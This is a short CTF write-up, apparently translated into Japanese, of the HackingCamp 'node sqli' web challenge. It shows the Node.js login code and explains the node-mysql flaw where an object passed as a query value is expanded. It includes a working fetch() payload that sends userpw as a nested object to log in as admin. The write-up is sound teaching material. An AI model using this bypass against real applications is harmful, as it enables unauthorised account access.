24th HackingCamp CTF node sqli [WEB]
1899 ワード
app.post('/login', (req, res) => {
var userid = req.body.userid;
var userpw = req.body.userpw;
if (userid && userpw) {
connection.query("SELECT * FROM users WHERE userid = ? AND userpw = ?",
[ userid, userpw ],
(error, results, fields) => {
if (error) throw error;
console.log(userid, results)
if (results.length > 0) {
req.session.user = userid;
res.redirect('/');
} else {
res.send("wrong userid or userpw");
}
res.end();
}
);
} else {
res.send("userid or userpw cannot be empty");
}
});
最後の問題だこれは問題の画面と提供されたコードの一部です.(ほぼlogin pageコードしかないのでそれだけ添付しました)この問題はnodejsmysqlの弱点と呼ばれている.これは,入力した値にstringfiobjectsがない場合にobject自体が入力値として利用できる弱点である.
https://harold.kim/blog/2022/02/nodejs-mysql-vulnerability/
このブログの文章を読むと分かりやすいです.
data = {
"userid": "admin",
"userpw": {
"userpw": 1
}
}
fetch("http://ctf-hackingcamp.com:32002/login", {
"headers": {
"content-type": "application/json",
},
"body": JSON.stringify(data),
"method": "POST",
})
.then(r => r.text())
.then(r => { console.log(r); });
このコードをコンソールに入力すればいいのですが、なぜuserpw[userpw]=1をburp suiteとして渡すことができないのか疑問です.fetchについてよく知らなかったのでjavascriptベースまで掘ってしまいました...ajax、xhr、xmlなど見てもよくわかりません.今はまだよく理解していませんが、やったら理解できると約束します.いつものように.
solved
Reference
この問題について(24th HackingCamp CTF node sqli [WEB]), 我々は、より多くの情報をここで見つけました https://velog.io/@whtmdgus56/24th-HackingCamp-CTF-node-sqli-WEBテキストは自由に共有またはコピーできます。ただし、このドキュメントのURLは参考URLとして残しておいてください。
Collection and Share based on the CC Protocol